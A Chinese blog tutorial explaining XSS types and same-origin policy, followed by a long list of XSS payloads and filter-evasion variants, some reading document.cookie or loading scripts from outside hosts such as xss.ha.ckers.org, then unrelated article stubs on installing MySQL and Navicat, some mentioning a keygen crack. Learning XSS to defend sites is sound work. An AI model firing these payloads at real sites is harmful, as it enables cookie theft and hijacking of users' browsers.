XSS注入(跨站脚本攻击)

article/2025/11/4 16:13:41

今天学习一下xss注入

1.XSS是什么

XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。xss本质上是黑客通过对网页的HTML注入,篡改了原本服务器发给客户端的数据包,在其中插入了恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。

2.XSS分类

1.反射性XSS

反射型xss的意思是说,攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。所以黑客往往需要诱使用户“点击”恶意链接才能攻击成功。因此反射型xss也被称之为非持久性xss。

2.存储型XSS

存储型xss是指像留言板、用户名称等一些会存储在服务器端的信息,当攻击者在存在xss漏洞的留言板处进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发xss攻击。该方法甚至可以在管理员审核留言时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。

3.DOM型XSS

DOM型xss是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss,后来便单独分成了一类。

简单的了解这些之后来看看什么是跨域 什么是同源策略

1.同源策略

同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说是web构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。

同源策略是一个重要的安全策略,它用于限制一个origin的文档或它加载的脚本如何能与另一个源的资源进行交互。能够减少恶意文档,减少可能被攻击媒介。 如果两个URL的协议、域名、端口号都相同,就称这两个URL同源。

看看一个域名地址的组成:

浏览器默认两个不同的源之间是可以互相访问资源和操作DOM的。两个不同的源之间若是想要访问资源或者操作DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。它的存在可以保护用户隐私信息,防止身份伪造。

 Origin

Web内容的源用于访问它的URL的协议(方案)、主机(域名)、和端口号。只有当协议、主机、域名都匹配时,两个对象才具有相同的起源,即Origin相同。

(如果把html看做是一个文档,那么端口号是其存放位置的根目录,主机是其上级目录,协议是其上上级目录,同源策略就可以理解为同一根目录下的文件才可以访问、操作)

 

同源策略限制内容有:

Cookie、LocalStorage、IndexedDB 等存储性内容
DOM 节点
AJAX 请求发送后,结果被浏览器拦截了

但是有三个标签是允许跨域加载资源:

<img src='xxx'>

<link href='xxx'>

<script src='xxx'>

跨域并不是请求发不出去,请求能发出去,服务端能收到请求并正常返回结果,只是结果被浏览器拦截了。

跨域

  • 广义:指一个域下的文档或脚本试图去请求另一个域下的资源。
  • 狭义:浏览器不能执行其他网站的脚本,是由浏览器同源策略限制的一类请求场景,从一个域名的网页去请求另一个域名的资源时,域名、端口、协议任一不同,都是跨域。

例如:a页面想获取b页面资源,如果a、b页面的协议、域名、端口、子域名不同,所进行的访问行动都是跨域的,而浏览器为了安全问题一般都限制了跨域访问,也就是不允许跨域请求资源。注意:跨域限制访问,其实是浏览器的限制

当然跨域有很多种解决办法 这里不一一详细描述了 推荐一篇大佬的博客

最常见的六种跨域解决方案_跨域问题怎么解决_China_YF的博客-CSDN博客

xss注入攻击的本质就是代码注入

特点:XSS主要基于JavaScript完成恶意的攻击行为,由于JS可以非常灵活地操作html、css和浏览器,使得跨站脚本攻击的“想象”空间特别大。

攻击对象:被攻击者的浏览器。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然后浏览器不会判断代码是否恶意,也就是说xss的对象是用户的浏览器。

XSS攻击的主要途径

第一种:对普通的用户输入,页面原样内容输出。

打开http://go.ent.163.com/goproducttest/test.jsp(限公司IP),输 入:<script>alert(‘xss’)</script>, JS脚本顺利执行。当攻击者找到这种方法后,就可以传播这种链接格式的链接 (http://go.ent.163.com/goproducttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goproducttest/test.jsp?key=<script>alert(‘xss’)& lt;/script>,并对JSCODE做适当伪装,如:
http://go.ent.163.com/goproducttest/test.jsp?key=%3c%73%63%72%69%70 %74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其 它用户当点此链接的时候,JS就运行了,造成的后果会很严重,如跳去一个有木马的页面、取得登陆用户的COOKIE等。

第二种:在代码区里有用户输入的内容

原则就是,代码区中,绝对不应含有用户输入的东西。

第三种:允许用户输入HTML标签的页面。

用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。
1,直接使用JS脚本。
<img src=”javascript:alert(‘xss’)” />
2,对JS脚本进行转码。
<img src=”javascript:alert(‘xss’)” />
3,利用标签的触发条件插入代码并进行转码。
<img οnerrοr=”alert(‘xss’)” />
4,使用16进制来写(可以在傲游中运行)
<img STYLE=”background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″>
以上写法等于<img STYLE=”background-image: url(javascript:alert(‘XSS’))”>

常见payload:

    <script>alert('hello,gaga!');</script> //经典语句,哈哈!
    >"'><img src="javascript.:alert('XSS')">
    >"'><script>alert('XSS')</script>
    <table background='javascript.:alert(([code])'></table>
    <object type=text/html data='javascript.:alert(([code]);'></object>
    "+alert('XSS')+"
    '><script>alert(document.cookie)</script>
    ='><script>alert(document.cookie)</script>
    <script>alert(document.cookie)</script>
    <script>alert(vulnerable)</script>
    <s&#99;ript>alert('XSS')</script>
    <img src="javas&#99;ript:alert('XSS')">
    %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
    %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
    <script>alert('Vulnerable')</script>
    a.jsp/<script>alert('Vulnerable')</script>
    "><script>alert('Vulnerable')</script>
    <IMG SRC="javascript.:alert('XSS');">
    <IMG src="/javascript.:alert"('XSS')>
    <IMG src="/JaVaScRiPt.:alert"('XSS')>
    <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
    <IMG SRC="jav&#x09;ascript.:alert('XSS');">
    <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
    <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
    "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
    <IMG SRC=" javascript.:alert('XSS');">
    <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
    <BODY BACKGROUND="javascript.:alert('XSS')">
    <BODY ONLOAD=alert('XSS')>
    <IMG DYNSRC="javascript.:alert('XSS')">
    <IMG LOWSRC="javascript.:alert('XSS')">
    <BGSOUND SRC="javascript.:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
    <IMG SRC='vbscript.:msgbox("XSS")'>
    <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
    <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
    <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascript.:alert('XSS')">
    <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
    <DIV STYLE="width: expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
    <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
    <BASE HREF="javascript.:alert('XSS');//">
    getURL("javascript.:alert('XSS')")
    a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascript.:alert('XSS');">
    "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
    <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
    <IMG SRC="javascript.:alert('XSS')"
    <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

常见标签

<img>标签

利用方式1

<imgsrc=javascript:alert("xss")>

<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>

<imgscr="URL"style='Xss:expression(alert(/xss));'

    imgSTYLE=“background-image:url(javascript:alert(‘XSS’))”

XSS利用方式2

<imgsrc="x"οnerrοr=alert(1)>

<imgsrc="1"οnerrοr=eval("alert('xss')")>

XSS利用方式3

<imgsrc=1οnmοuseοver=alert('xss')>

<a>标签

标准格式

<ahref="https://www.baidu.com">baidu</a>

XSS利用方式1

    <ahref="javascript:alert('xss')">aa</a>

    <ahref=javascript:eval(alert('xss'))>aa</a>

    <ahref="javascript:aaa"οnmοuseοver="alert(/xss/)">aa</a>

XSS利用方式2

    <script>alert('xss')</script>

利用方式3

<ahref=""οnclick=eval(alert('xss'))>aa</a>

利用方式4

<ahref=kycg.asp?ttt=1000οnmοuseοver=prompt('xss')y=2016>aa</a>

input标签

标准格式

<inputname="name"value="">

利用方式1

<inputvalue=""οnclick=alert('xss')type="text">

利用方式2

<inputname="name"value=""οnmοuseοver=prompt('xss')bad="">

利用方式4

<inputname="name"value=""><script>alert('xss')</script>

<form>标签

XSS利用方式1

    <formaction=javascript:alert('xss')method="get">

    <formaction=javascript:alert('xss')>

XSS利用方式2

    <formmethod=postaction=aa.asp?οnmοuseοver=prompt('xss')>

    <formmethod=postaction=aa.asp?οnmοuseοver=alert('xss')>

    <formaction=1οnmοuseοver=alert('xss)>

XSS利用方式3

    <formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>">

    <formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe>标签

XSS利用方式1

<iframesrc=javascript:alert('xss');height=5width=1000/><iframe>

XSS利用方式2

<iframesrc="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>

<iframesrc="data:text/html;base64,<script>alert('xss')</script>">

<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

XSS利用方式3

<iframesrc="aaa"οnmοuseοver=alert('xss')/><iframe>

XSS利用方式3

<iframesrc="javascript&colon;prompt&lpar;xss&rpar;"></iframe>

svg<>标签

<svgοnlοad=alert(1)>

这里只简单给出payload以及标签 粗略的了解xss漏洞

接下来会详细的写xss的三种类型


http://chatgpt.dhexx.cn/article/xPej2VhZ.shtml

相关文章

xss注入教程与总结

xss注入个人总结 1 " < >可以用URL编码 %22 %3c %3e HTML 编码 &quot; < > 代替 2 如果过滤 可以用%2522 %26colon; 这种代替尝试 二次转码 3 如果输入框有历史记录 &#xff0c;个人简介注意使用 发现很多网站对输入框有过滤缺但没有过滤历史记录这些…

XSS注入(1)-两个简单测试理解反射型xss注入和存储型xss注入

XSS注入(1)-两个例子理解反射型xss注入和存储型xss注入 XSS全称 Cross Site Script&#xff0c;为使与css语言重名&#xff0c;所以我们将其称为xss跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码&#xff0c;而程序对于用户输入内容未过滤&#xff0c;当用户浏…

xss漏洞注入

定义&#xff1a; XSS攻击通常指的是通过利用网页开发时留下的漏洞&#xff0c;通过巧妙的方法注入恶意指令代码到网页&#xff0c;使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript&#xff0c;但实际上也可以包括Java、 VBScript、ActiveX、 Fla…

XSS-Lab(XSS注入笔记1-16)

前言 本篇博客主要是记录笔者完成XSS-Lab步骤以及分析 题目链接&#xff1a;https://buuoj.cn/challenges#XSS-Lab Github仓库&#xff1a;https://github.com/rebo-rn/xss-lab 出题人的题解&#xff1a;https://github.com/Re13orn/xss-lab/blob/master/XSSwrite%20up.doc…

XSS注入原理以及一些绕过姿势

介绍 XSS——跨站脚本攻击。通过这个攻击手段&#xff0c;攻击者可以将恶意的 JavaScript 代码插入存在 XSS 漏洞的 Web 页面中&#xff0c;当用户浏览带有恶意代码的页面时&#xff0c;这些恶意代码会被触发&#xff0c;从而达到攻击的目的。可以说&#xff0c;XSS 是针对用户…

XSS注入基础入门篇

XSS注入基础入门篇 1.XSS基础概念2. XSS的分类以及示例2.1 反射型XSS2.1.1 示例1&#xff1a;dvwa low 级别的反射型XSS2.1.2 攻击流程 2.2 DOM型XSS2.2.1 示例2&#xff1a;DOM型XSS注入1.环境部署2.基础版本3.进阶绕过 2.3 存储型XSS2.3.1 示例1&#xff1a;dvwa low示例2.3.…

XSS跨站脚本注入详解

一、什么是XSS跨站脚本注入(XSS注入)? XSS(Cross-site scripting)注入是一种Web安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本,从而导致攻击者能够窃取受害者的敏感信息或者利用受害者的身份在应用程序上执行未经授权的操作。 攻击者通常会在受害者访问的Web页…

XSS注入

文章目录 前言一、XSS是什么&#xff1f;二、XSS的大致分类与利用思路1.反射型2.存储型3.DOM型 三、不同类型的XSS漏洞注入演示1.反射型xss2.存储型xss3.DOM型xss 三、XSS漏洞实战1.制作钓鱼网站获得用户的用户名和密码2.获取管理员的cookie 总结 前言 本篇文章详细讲解XSS漏洞…

XSS注入测试

XSS 全称(Cross Site Scripting) 跨站脚本攻击&#xff0c; 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时&#xff0c;脚本就会在用户的浏览器上执行&#xff0c;从而达到攻击者的目的. 比如获取用户的Cookie&#xff0c;导…

MySQL和Navicat的安装与配置

mysql和navicat的安装与配置 MySQL的安装与配置Navicat的安装与配置 安装下载&#xff1a; MySQL下载 Navicat下载 MySQL的安装与配置 将mysql文件夹转移到自己想放置的路径下 复制mysql的bin路径 打开环境变量配置 右击【此电脑】&#xff0c;打开【属性】&#xff0c;打开…

手把手教你安装MySQL+Navicat

本文为个人于 Windows10&#xff08;64位&#xff09;操作系统下 安装MySQL&#xff08;版本号&#xff1a;8.0.18&#xff09;和Navicat&#xff08;版本号&#xff1a;12&#xff09;的过程记录&#xff0c;希望也能给你带来帮助。 目录 一、MySQL的安装1. 卸载电脑上已有版…

MySQL+Navicat 下载、安装教程(Windows)

目录 前言MySQL下载安装验证 Navicat下载安装配置 前言 MySQL 在过去由于性能高、成本低、可靠性好&#xff0c;已经成为最流行的开源数据库&#xff0c;因此被广泛地应用在 Internet 上的中小型网站中。随着 MySQL 的不断成熟&#xff0c;它也逐渐用于更多大规模网站和应用。—…

Navicat15安装使用

本安装流程适合各个版本Navicat安装 从网络下载Navicat及注册机 点击这里 链接: https://pan.baidu.com/s/1Fh4BMQF3PlUMT4_RlfBt0A?pwdph2h 提取码: ph2h 1.删除系统自带的杀毒软件&#xff0c;例如360&#xff0c;电脑管家&#xff0c;Windows Defender window10的 Windo…

MySQL下载安装教程及Navicat安装教程

一、MySQL下载安装 1.MySQL下载官网:https://dev.mysql.com/downloads/mysql/ 2. 将mysql-8.0.27-winx64文件解压&#xff08;例如路径为D:\mysql-8.0.27-winx64&#xff09;&#xff0c;如下图 3.设置PATH环境变量为D:\mysql-8.0.27-winx64文件夹的bin文件夹 4.运行cmd&#…

Navicat Premium 简介、安装、使用

Navicat 官网&#xff1a; http://www.navicat.com.cn/ 简介&#xff1a; Navicat Premium 是一套数据库开发工具&#xff0c;让你从单一应用程序中同时连接 MySQL、MariaDB、MongoDB、SQL Server、Oracle、PostgreSQL 和 SQLite 数据库。它与 Amazon RDS、Amazon Aurora、…

Navicat Premium的下载及安装

文章目录 前言一、下载二、安装三、注册写在最后 前言 Navicat是开发人员常用的一款数据库管理工具&#xff0c;适用于Microsoft Windows、Mac OS及Linux平台&#xff0c;针对各类数据库都有相应的产品&#xff0c;快速、可靠而且价格相当便宜。 如Navicat Premium是一个可多重…

Mac系统安装MySQL连接Navicat(手把手,超详细)

Mac系统安装MySQL 在下载安装包之前&#xff0c;看一下自己下载哪个版本&#xff1a; uname -a我直接在官网下载的 -> MySQL官网下载网址 因为直接在官网下载的&#xff0c;所以运行安装包的时候会显示这个&#xff1a; 桌面左上角点击苹果logo&#xff0c;在系统偏好设…

史上最详细、最良心的MySQL 5.7 + Navicat 下载安装教程(附安装包)

这怕是史上最详细&#xff0c;最良心的MySQL5.7下载安装教程了&#xff0c;文末还有Navicat下载安装加破解的教程。 一、下载 1、可以去官网下载:https://dev.mysql.com/downloads/mysql/5.7.html#downloads 2、通过我的百度网盘下载 链接&#xff1a;https://pan.baidu.com…

Navicat安装

一、 下载Navicat安装包 通过navicat官网下载 二、手把手教你安装Navicat 1.双击下载好的Navicat 安装包&#xff0c;弹出安装向导&#xff0c;选择下一步 2.阅读用户许可协议&#xff0c;同意请勾选“我同意”&#xff0c;并选择“下一步”。 3.选择程序安装路径。 4.默认&…

Navicat Premium 15 安装教程

安装教程 1.鼠标右击【Navicat Premium 15(64bit)】压缩包&#xff08;win11及以上系统需先选择“显示更多选项”&#xff09;选择【解压到 Navicat Premium 15(64bit)】 2.打开解压后的文件夹&#xff0c;鼠标右击【setup】选择【以管理员身份运行】 3.点击【下一步】。 4.选…